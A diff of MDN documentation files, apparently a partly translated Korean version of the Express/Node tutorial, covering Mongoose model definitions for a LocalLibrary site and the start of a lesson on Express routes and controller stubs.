+  <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br>
+
+  <ul>
+   <li>Select the SANDBOX (Free) plan from the Plan Type section. </li>
+   <li>Select any provider from the <em>Cloud Provider </em>section. Different providers offer different regions (displayed below the selected plan type).</li>
+   <li>Click the <strong>Continue</strong> button.</li>
+  </ul>
+ </li>
+ <li>This will open the <em>Select Region</em> screen.
+  <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p>
+
+  <ul>
+   <li>
+    <p>Select the region closest to you and then <strong>Continue</strong>.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>This will open the <em>Final Details</em> screen.<br>
+   <img alt="New deployment database name" src="https://mdn.mozillademos.org/files/15663/mLab_new_deployment_final_details.png" style="height: 569px; width: 1293px;"></p>
+
+  <ul>
+   <li>
+    <p>Enter the name for the new database as <code>local_library</code> and then select <strong>Continue</strong>.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>This will open the <em>Order Confirmation</em> screen.<br>
+   <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p>
+
+  <ul>
+   <li>
+    <p>Click <strong>Submit Order</strong> to create the database.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).<br>
+   <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br>
+    <br>
+   The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.</p>
+ </li>
+ <li>Click the <strong>Users</strong> tab and select the <strong>Add database user</strong> button.</li>
+ <li>Enter a username and password (twice), and then press <strong>Create</strong>. Do not select <em>Make read only</em>.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li>
+</ol>
+
+<p>You now have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: <code>mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library</code>.</p>
+
+<h2 id="Install_Mongoose">Install Mongoose</h2>
+
+<p>Open a command prompt and navigate to the directory where you created your <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton Local Library website</a>. Enter the following command to install Mongoose (and its dependencies) and add it to your <strong>package.json</strong> file, unless you have already done so when reading the <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a> above.</p>
+
+<pre class="brush: bash">npm install mongoose --save
+</pre>
+
+<h2 id="Connect_to_MongoDB">Connect to MongoDB</h2>
+
+<p>Open <strong>/app.js</strong> (in the root of your project) and copy the following text below where you declare the <em>Express application object</em> (after the line <code>var app = express();</code>). Replace the database url string ('<em>insert_your_database_url_here</em>') with the location URL representing your own database (i.e. using the information from <a href="#Setting_up_the_MongoDB_database">from mLab</a>).</p>
+
+<pre class="brush: js">//Set up mongoose connection
+var mongoose = require('mongoose');
+var mongoDB = '<em>insert_your_database_url_here</em>';
+mongoose.connect(mongoDB);
+mongoose.Promise = global.Promise;
+var db = mongoose.connection;
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
+
+<p>As discussed <a href="#Connecting_to_MongoDB">in the Mongoose primer above</a>, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console). </p>
+
+<h2 id="Defining_the_LocalLibrary_Schema">Defining the LocalLibrary Schema</h2>
+
+<p>We will define a separate module for each model, as <a href="#One_schemamodel_per_file">discussed above</a>. Start by creating a folder for our models in the project root (<strong>/models</strong>) and then create separate files for each of the models:</p>
+
+<pre>/express-locallibrary-tutorial  //the project root
+  <strong>/models</strong>
+    <strong>author.js</strong>
+    <strong>book.js</strong>
+    <strong>bookinstance.js</strong>
+    <strong>genre.js</strong>
+</pre>
+
+<h3 id="Author_model">Author model</h3>
+
+<p>Copy the <code>Author</code> schema code shown below and paste it into your <strong>./models/author.js</strong> file. The scheme defines an author has having <code>String</code> SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and <code>Date</code> fields for the date of birth and death.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var AuthorSchema = new Schema(
+  {
+    first_name: {type: String, required: true, max: 100},
+    family_name: {type: String, required: true, max: 100},
+    date_of_birth: {type: Date},
+    date_of_death: {type: Date},
+  }
+);
+
+<strong>// Virtual for author's full name
+AuthorSchema
+.virtual('name')
+.get(function () {
+  return this.family_name + ', ' + this.first_name;
+});</strong>
+
+// Virtual for author's URL
+AuthorSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/author/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Author', AuthorSchema);
+
+</pre>
+
+<p>We've also declared a <a href="#Virtual_properties">virtual</a> for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.<br>
+ At this point a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!</p>
+</div>
+
+<p>At the end of the module we export the model.</p>
+
+<h3 id="Book_model">Book model</h3>
+
+<p>Copy the <code>Book</code> schema code shown below and paste it into your <strong>./models/book.js</strong> file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookSchema = new Schema(
+  {
+    title: {type: String, required: true},
+  <strong>  author: {type: Schema.ObjectId, ref: 'Author', required: true},</strong>
+    summary: {type: String, required: true},
+    isbn: {type: String, required: true},
+  <strong>  genre: [{type: Schema.ObjectId, ref: 'Genre'}]</strong>
+  }
+);
+
+// Virtual for book's URL
+BookSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/book/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('Book', BookSchema);
+</pre>
+
+<p>The main difference here is that we've created two references to other models:</p>
+
+<ul>
+ <li>author is a reference to a single <code>Author</code> model object, and is required.</li>
+ <li>genre is a reference to an array of <code>Genre</code> model objects. We haven't declared this object yet!</li>
+</ul>
+
+<h3 id="BookInstance_model">BookInstance model</h3>
+
+<p>Finally, copy the <code>BookInstance</code> schema code shown below and paste it into your <strong>./models/bookinstance.js</strong> file. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var BookInstanceSchema = new Schema(
+  {
+    book: { type: Schema.ObjectId, ref: 'Book', required: true }, //reference to the associated book
+    imprint: {type: String, required: true},
+    status: {type: String, required: true, <strong>enum: ['Available', 'Maintenance', 'Loaned', 'Reserved']</strong>, <strong>default: 'Maintenance'</strong>},
+    due_back: {type: Date, <strong>default: Date.now</strong>}
+  }
+);
+
+// Virtual for bookinstance's URL
+BookInstanceSchema
+.virtual('url')
+.get(function () {
+  return '/catalog/bookinstance/' + this._id;
+});
+
+//Export model
+module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre>
+
+<p>The new things we show here are the field options:</p>
+
+<ul>
+ <li><code>enum</code>: This allows us to set the allowed values of a string. In this case we use it to specify the availability status of our books (using an enum means that we can prevent mis-spellings and arbitrary values for our status)</li>
+ <li><code>default</code>: We use default to set the default status for newly created bookinstances to maintenance and the default <code>due_back</code> date to <code>now</code> (note how you can call the Date function when setting the date!)</li>
+</ul>
+
+<p>Everything else should be familiar from our previous schema.</p>
+
+<h3 id="Genre_model_-_challenge!">Genre model - challenge!</h3>
+
+<p>Open your <strong>./models/genre.js</strong> file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).</p>
+
+<p>The definition will be very similar to the other models:</p>
+
+<ul>
+ <li>The model should have a <code>String</code> SchemaType called <code>name</code> to describe the genre.</li>
+ <li>This name should be required and have between 3 and 100 characters.</li>
+ <li>Declare a <a href="#Virtual_properties">virtual</a> for the genre's URL, named <code>url</code>.</li>
+ <li>Export the model.</li>
+</ul>
+
+<h2 id="Testing_—_create_some_items">Testing — create some items</h2>
+
+<p>That's it. We now have all models for the site set up!</p>
+
+<p>In order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an <em>independent</em> script to create items of each type:</p>
+
+<ol>
+ <li>Download (or otherwise create) the file <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> inside your <em>express-locallibrary-tutorial</em> directory (in the same level as <code>package.json</code>).
+
+  <div class="note">
+  <p><strong>Note:</strong> You don't need to know how <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> works; it just adds sample data into the database.</p>
+  </div>
+ </li>
+ <li>Enter the following commands in the project root to install the <em>async</em> module that is required by the script (we'll discuss this in later tutorials, )
+  <pre class="brush: bash">npm install async --save</pre>
+ </li>
+ <li>Run the script using node in your command prompt, passing in the URL of your <em>MongoDB</em> database (the same one you replaced the <em>insert_your_database_url_here </em>placeholder with, inside <code>app.js</code> earlier):
+  <pre class="brush: bash">node populatedb &lt;your mongodb url&gt;​​​​</pre>
+ </li>
+ <li>The script should run through to completion, displaying items as it creates them in the terminal.</li>
+</ol>
+
+<div class="note">
+<p><strong>Tip:</strong> Go to your database on <a href="https://mlab.com/home">mLab</a>. You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article we've learned a bit about databases and ORMs on Node/Express, and a lot about how Mongoose schema and models are defined. We then used this information to design and implement <code>Book</code>, <code>BookInstance</code>, <code>Author</code> and <code>Genre</code> models for the <em>LocalLibrary</em> website.</p>
+
+<p>Last of all we tested our models by creating a number of instances (using a standalone script). In the next article we'll look at creating some pages to display these objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
+ <li><a href="http://mongoosejs.com/">Mongoose website</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose Guide</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/schematypes.html">Schema Types</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs)</li>
+ <li><a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/express_nodejs/routes/index.html b/files/ko/learn/server-side/express_nodejs/routes/index.html
new file mode 100644
index 0000000000..8d8618ca98
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/routes/index.html
@@ -0,0 +1,639 @@
+---
+title: 'Express Tutorial Part 4: Routes and controllers'
+slug: Learn/Server-side/Express_Nodejs/routes
+translation_of: Learn/Server-side/Express_Nodejs/routes
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">이 튜토리얼에서 우리는 더미 핸들러 함수를 이용해 최종적으로 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> 웹사이트에 쓰이게 될 모든 리소스 종단점라우팅 모듈 (url 핸들링 코드)를 설정해 볼 것입니다.이 작업을 통해 우리는 향후 문서에 쓰일 함수들을 모듈화된 라우트 핸들링 코드 구조로 제작하는 법을 배울 수 있습니다.또한 Express를 이용해 모듈화된 라우팅방법을 잘 이해할 수 있게 될 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전조건:</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a>를 먼저 구독해주세요.이전 강의 주제를 완료해 주세요.( <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part3 : Mongoose Database 와 연동하기</a>)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p> 간단한 라우팅 함수 구현.</p>
+
+    <p>모든 URL 종단점 구성해보기.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>지난 튜토리얼에서 우리는 데이터베이스와의 상호작용을 위해서 Mongoose 모델을 정의 했으며 초기 도서관 기록들을  만들기 위해 단 하나의 스크립트 파일을 사용했습니다.이것으로 우리는 이제 사용자에게 정보를 제공을 위한 코드를 작성할 수 있게 되었습니다. 첫번째로 해야할 일은 어떠한 정보를 웹사이트 페이지에 노출시킬 지 정하는 것입니다.그 다음에  정보들을 반환하기 위한 적절한 URL을 정의하게 될 것입니다.</p>
+
+<p>하단의 다이어그램은 HTTP를 통해 정보를 요청/반환을 작업할 경우 실현시켜야 하는  정보와 객체들의 주요 흐름을 나타내고 있습니다.In addition to the views and routes the diagram shows "controllers" — functions that separate out the code to route requests from the code that actually processes requests.</p>
+
+<p> </p>
+
+<p>`이미 작성한 모델들을 제외한 우리가 앞으로 작성할 목록은 :</p>
+
+<ul>
+ <li>"Routes" to forward the supported requests (and any information encoded in request URLs) to the appropriate controller functions.</li>
+ <li>"라우트들"는 지원된 요청(요청 URL에 어떤 인코딩된 정보)들을 알맞은 Controller 함수들로 보낸다.</li>
+ <li>Controller functions to get the requested data from the models, create an HTML page displaying the data, and return it to the user to view in the browser.</li>
+ <li>Controller 함수는 모델로부터 요청된 데이터를 얻어내거나 , 데이터를 나타내는 HTML  페이지를 내고, 이것을 브라우져의 화면으로 사용자에게 전달한다.</li>
+ <li>Views (templates) used by the controllers to render the data.</li>
+ <li>View들(템플릿들)은 데이터를 렌더링하는 컨트롤러에 의해서 사용된다. </li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14456/MVC%20Express.png" style="height: 460px; width: 800px;"></p>
+
+<p>Ultimately we might have pages to show lists and detail information for books, genres, authors and bookinstances, along with pages to create, update, and delete records. That's a lot to document in one article. Therefore most of this article will concentrate on setting up our routes and controllers to return "dummy" content. We'll extend the controller methods in our subsequent articles to work with model data.</p>
+
+<p>The first section below provides a brief "primer" on how to use the Express "Router" middleware. We'll then use that knowledge in the following sections when we set up the LocalLibrary routes.</p>
+
+<h2 id="Routes_primer">Routes primer</h2>
+
+<p>A route is a section of Express code that associates an HTTP verb (<code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, etc.), an URL path/pattern, and a function that is called to handle that pattern.</p>
+
+<p>There are several ways to create routes. For this tutorial we're going to use the <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code> middleware as it allows us to group the route handlers for a particular part of a site together and access them using a common route-prefix. We'll keep all our library-related routes in a "catalog" module, and, if we add routes for handling user accounts or other functions, we can keep them grouped separately.</p>
+
+<div class="note">
+<p><strong>Note:</strong> We discussed Express application routes briefly in our <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Creating_route_handlers">Express Introduction &gt; Creating route handlers</a>. Other than providing better support for modularization (as discussed in the first subsection below), using <em>Router</em> is very similar to defining routes directly on the <em>Express application object</em>.</p>
+</div>
+
+<p>The rest of this section provides an overview of how the <code>Router</code> can be used to define the routes.</p>
+
+<h3 id="분리된_라우트_모듈들의_사용과_정의(Defining_and_using_separate_route_modules)">분리된 라우트 모듈들의 사용과 정의(Defining and using separate route modules)</h3>
+
+<p>The code below provides a concrete example of how we can create a route module and then use it in an <em>Express</em> application.</p>
+
+<p>아래 코드는 우리가 어떻게 라우트 모듈을 생성하고  Express 어플리케이션에서 사용할 것인지에 대한 구체적인 예를 보여준다.</p>
+
+<p>First we create routes for a wiki in a module named <strong>wiki.js</strong>. The code first imports the Express application object, uses it to get a <code>Router</code> object and then adds a couple of routes to it using the <code>get()</code> method. Last of all the module exports the <code>Router</code> object.</p>
+
+<p>첫번재  우리는 wiki.js 를 이름을 가진 모듈에서 위키를 위한 라우트를 만든다. 첫번째 코드에서 Express 어플리케이션 객체가 중요하고, 이 객체를 라우트 오브젝트를 얻기 위해서 사용하고, get()메서드를 사용하여 라우트는 2개를 추가한다. 모듈에서 마지막에는 라우트 객체를 Export한다.</p>
+
+<pre class="brush: js"><code>// wiki.js - Wiki route module
+
+var express = require('express')
+var router = express.Router()
+
+// Home page route
+router.get('/', function (req, res) {
+  res.send('Wiki home page')
+})
+
+// About page route
+router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})
+
+module.exports = router</code>
+
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Above we are defining our route handler callbacks directly in the router functions. In the LocalLibrary we'll define these callbacks in a separate controller module.</p>
+</div>
+
+<p>To use the router module in our main app file we first <code>require()</code> the route module (<strong>wiki.js</strong>). We then call <code>use()</code> on the <em>Express</em> application to add the Router to the middleware handling path, specifying an URL path of 'wiki'.</p>
+
+<pre class="brush: js"><code>var wiki = require('./wiki.js')
+// ...
+app.use('/wiki', wiki)</code></pre>
+
+<p>The two routes defined in our wiki route module are then accessible from <code>/wiki/</code> and <code>/wiki/about/</code>.</p>
+
+<p>wiki 라우트 모듈에서 정희 두개의 라우트를 정의되면 /wiki그리고 /wiki/about/ 으로 접근가능해진다.</p>
+
+<h3 id="라우트_함수들(Route_functions)">라우트 함수들(Route functions)</h3>
+
+<p>Our module above defines a couple of typical route functions. The "about" route (reproduced below) is defined using the <code>Router.get()</code> method, which responds only to HTTP GET requests. The first argument to this method is the URL path while the second is a callback function that will be invoked if an HTTP GET request with the path is received.</p>
+
+<pre class="brush: js"><code>router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})</code>
+</pre>
+
+<p>The callback takes three arguments (usually named as shown: <code>req</code>, <code>res</code>, <code>next</code>), that will contain the HTTP Request object, HTTP response, and the <em>next</em> function in the middleware chain.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Router functions are <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Using_middleware">Express middleware</a>, which means that they must either complete (respond to) the request or call the next function in the chain. In the case above we complete the request, so the <code>next</code> argument is not actually used.</p>
+</div>
+
+<p>The callback function here calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "About this wiki" when we receive a GET request with the path ('<code>/about'</code>). There are a <a href="https://expressjs.com/en/guide/routing.html#response-methods">number of other response methods</a> for ending the request/response cycle. For example, you could call <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> to send a JSON response or <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> to send a file. The response method that we'll be using most often as we build up the library is <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, which creates and returns HTML files using templates and data—we'll talk a lot more about that in a later article!</p>
+
+<h3 id="HTTP_verbs">HTTP verbs</h3>
+
+<p>The example routes above use the <code>Router.get()</code> method to respond to HTTP GET requests with a certain path.</p>
+
+<p>The <code>Router</code> also provides route methods for all the other HTTP verbs, that are mostly used in exactly the same way: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, ​​​​​​ <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, and <code>connect()</code>.</p>
+
+<p>For example, the code below behaves just like the previous <code>/about</code> route, but only responds to HTTP POST requests.</p>
+
+<pre class="brush: js"><code>router.post('/about', function (req, res) {
+  res.send('About this wiki')
+})</code></pre>
+
+<h3 id="라우트_경로들(Route_paths)">라우트 경로들(Route paths)</h3>
+
+<p>The route paths define the endpoints at which requests can be made. The examples we've seen so far have just been strings, and are used exactly as written: '/', '/about', '/book', '/any-random.path'.</p>
+
+<p>Route paths can also be string patterns. String patterns use a subset of regular expression syntax to define <em>patterns</em> of endpoints that will be matched. The subset is listed below (note that the hyphen (<code>-</code>) and the dot (<code>.</code>) are interpreted literally by string-based paths):</p>
+
+<ul>
+ <li>? : The endpoint must have 0 or more of the preceding character. E.g. a route path of <code>'/ab?cd'</code> will match endpoints <code>acd</code> , <code>abcd</code>, <code>abbcd</code> etc.</li>
+ <li>+ : The endpoint must have 1 or more of the preceding character. E.g. a route path of <code>'/ab+cd'</code> will match endpoints <code>abcd</code>, <code>abbcd</code>, <code>abbbcd</code>, and so on.</li>
+ <li>* : The endpoint may have an arbitrary string where the * character is placed. E.g. a route path of <code>'ab*cd'</code> will match endpoints <code>abcd</code>, <code>abXcd</code>, <code>abSOMErandomTEXTcd</code>, and so on.</li>
+ <li>() : Grouping match on a set of characters to perform another operation on. E.g. <code>'/ab(cd)?e'</code> will peform a ? match on (cd) —it will match <code>abe</code>, <code>abcde</code>, <code>abcdcde</code>, and so on.</li>
+</ul>
+
+<p>The route paths can also be JavaScript <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expressions</a>. For example, the route path below will match match <code>catfish </code>and <code>dogfish</code>, but not <code>catflap</code>, <code>catfishhead</code>, and so on. Note that the path for a regular expression uses regular expression syntax (it is not a quoted string as in the previous cases).</p>
+
+<pre class="brush: js"><code>app.get(/.*fish$/, function (req, res) {
+  ...
+})</code></pre>
+
+<div class="note">
+<p><strong>Note:</strong> Most of our routes for the LocalLibrary will simply use strings and not string patterns and regular expressions. We'll also use route parameters as discussed in the next section.</p>
+</div>
+
+<h3 id="라우트_파라미터들(Route_parameters)">라우트 파라미터들(Route parameters)</h3>
+
+<p>Route parameters are <em>named URL segments</em> used to capture the values specified at their position in the URL. The named segments are prefixed with a colon and then the name (e.g. <code>/<strong>:</strong>your_parameter_name/</code>. The captured values are stored in the <code>req.params</code> object using the parameter names as keys (e.g. <code>req.params.your_parameter_name</code>).</p>
+
+<p>So for example, consider a URL encoded to contain information about users and books: <code>http://localhost:3000/users/34/books/8989</code>. We can extract this information as shown below, with the <code>userId</code> and <code>bookId</code> path parameters:</p>
+
+<pre><code>app.get('/users/:userId/books/:bookId', function (req, res) {
+  // Access userId via: req.params.userId
+  // Access bookId via: req.params.bookId
+  res.send(req.params)
+})
+</code></pre>
+
+<p>The names of route parameters must be made up of “word characters” (A-Z, a-z, 0-9, and _).</p>
+
+<div class="note">
+<p><strong>Note:</strong> The URL <em>/book/create</em> will be matched by a route like <code>/book/:bookId</code> (which will extract a "bookId" value of '<code>create</code>'). The first route that matches an incoming URL will be used, so if you want to process <code>/book/create</code> URLs separately, their route handler must be defined before your <code>/book/:bookId</code> route.</p>
+</div>
+
+<p>That's all you need to get started with routes - if needed you can find more information in the Express docs: <a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> and <a href="http://expressjs.com/en/guide/routing.html">Routing guide</a>. The following sections show how we'll set up our routes and controllers for the LocalLibrary.</p>
+
+<h2 id="Routes_needed_for_the_LocalLibrary">Routes needed for the LocalLibrary</h2>
+
+<p>The URLs that we're ultimately going to need for our pages are listed below, where <em>object</em> is replaced by the name of each of our models (book, bookinstance, genre, author), <em>objects</em> is the plural of object, and <em>id</em> is the unique instance field (<code>_id</code>) that is given to each Mongoose model instance by default.</p>
+
+<ul>
+ <li><code>catalog/</code> — The home/index page.</li>
+ <li><code>catalog/&lt;objects&gt;/</code> — The list of all books, bookinstances, genres, or authors (e.g. /<code>catalog/books/</code>, /<code>catalog/genres/</code>, etc.)</li>
+ <li><code>catalog/&lt;object&gt;/<em>&lt;id&gt;</em></code> — The detail page for a specific book, bookinstance, genre, or author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37)</code>.</li>
+ <li><code>catalog/&lt;object&gt;/create</code> — The form to create a new book, bookinstance, genre, or author (e.g. <code>/catalog/book/create)</code>.</li>
+ <li><code>catalog/&lt;object&gt;/<em>&lt;id&gt;</em>/update</code> — The form to update a specific book, bookinstance, genre, or author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37/update)</code>.</li>
+ <li><code>catalog/&lt;object&gt;/<em>&lt;id&gt;</em>/delete</code> — The form to delete a specific book, bookinstance, genre, author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37/delete)</code>.</li>
+</ul>
+
+<p>The first home page and list pages don't encode any additional information. While the results returned will depend on the model type and the content in the database, the queries run to get the information will always be the same (similarly the code run for object creation will always be similar).</p>
+
+<p>By contrast the other URLs are used to act on a specific document/model instance—these encode the identity of the item in the URL (shown as <code><em>&lt;id&gt;</em></code> above). We'll use path parameters to extract the encoded information and pass it to the route handler (and in a later article we'll use this to dynamically determine what information to get from the database). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Express allows you to construct your URLs any way you like — you can encode information in the body of the URL as shown above or use URL <code>GET</code> parameters (e.g. <code>/book/?id=6</code>). Whichever approach you use, the URLs should be kept clean, logical and readable (<a href="https://www.w3.org/Provider/Style/URI">check out the W3C advice here</a>).</p>
+</div>
+
+<p>Next we create our route handler callback functions and route code for all the above URLs.</p>
+
+<h2 id="Create_the_route-handler_callback_functions">Create the route-handler callback functions</h2>
+
+<p>Before we define our routes, we'll first create all the dummy/skeleton callback functions that they will invoke. The callbacks will be stored in separate "controller" modules for Books, BookInstances, Genres, and Authors (you can use any file/module structure, but this seems an appropriate granularity for this project).</p>
+
+<p>Start by creating a folder for our controllers in the project root (<strong>/controllers</strong>) and then create separate controller files/modules for handling each of the models:</p>
+
+<pre>/express-locallibrary-tutorial  //the project root
+  <strong>/controllers</strong>
+    <strong>authorController.js</strong>
+    <strong>bookController.js</strong>
+    <strong>bookinstanceController.js</strong>
+    <strong>genreController.js</strong></pre>
+
+<h3 id="Author_controller">Author controller</h3>
+
+<p>Open the <strong>/controllers/authorController.js</strong> file and copy in the following code:</p>
+
+<pre class="brush: js">var Author = require('../models/author');
+
+// Display list of all Authors
+exports.author_list = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author list');
+};
+
+// Display detail page for a specific Author
+exports.author_detail = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author detail: ' + req.params.id);
+};
+
+// Display Author create form on GET
+exports.author_create_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author create GET');
+};
+
+// Handle Author create on POST
+exports.author_create_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author create POST');
+};
+
+// Display Author delete form on GET
+exports.author_delete_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author delete GET');
+};
+
+// Handle Author delete on POST
+exports.author_delete_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author delete POST');
+};
+
+// Display Author update form on GET
+exports.author_update_get = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author update GET');
+};
+
+// Handle Author update on POST
+exports.author_update_post = function(req, res) {
+    res.send('NOT IMPLEMENTED: Author update POST');
+};
+</pre>
+
+<p>The module first requires the model that we'll later be using to access and update our data. It then exports functions for each of the URLs we wish to handle (the create, update and delete operations use forms, and hence also have additional methods for handling form post requests — we'll discuss those methods in the "forms article" later on).</p>
+
+<p>All the functions have the standard form of an <em>Express middleware function</em>, with arguments for the request, response, and the <code>next</code> function to be called if the method does not complete the request cycle (in all these cases it does!). The methods simply return a string indicating that the associated page has not yet been created. If a controller function is expected to receive path parameters, these are included in the message string.</p>
+
+<h4 id="BookInstance_controller">BookInstance controller</h4>
+
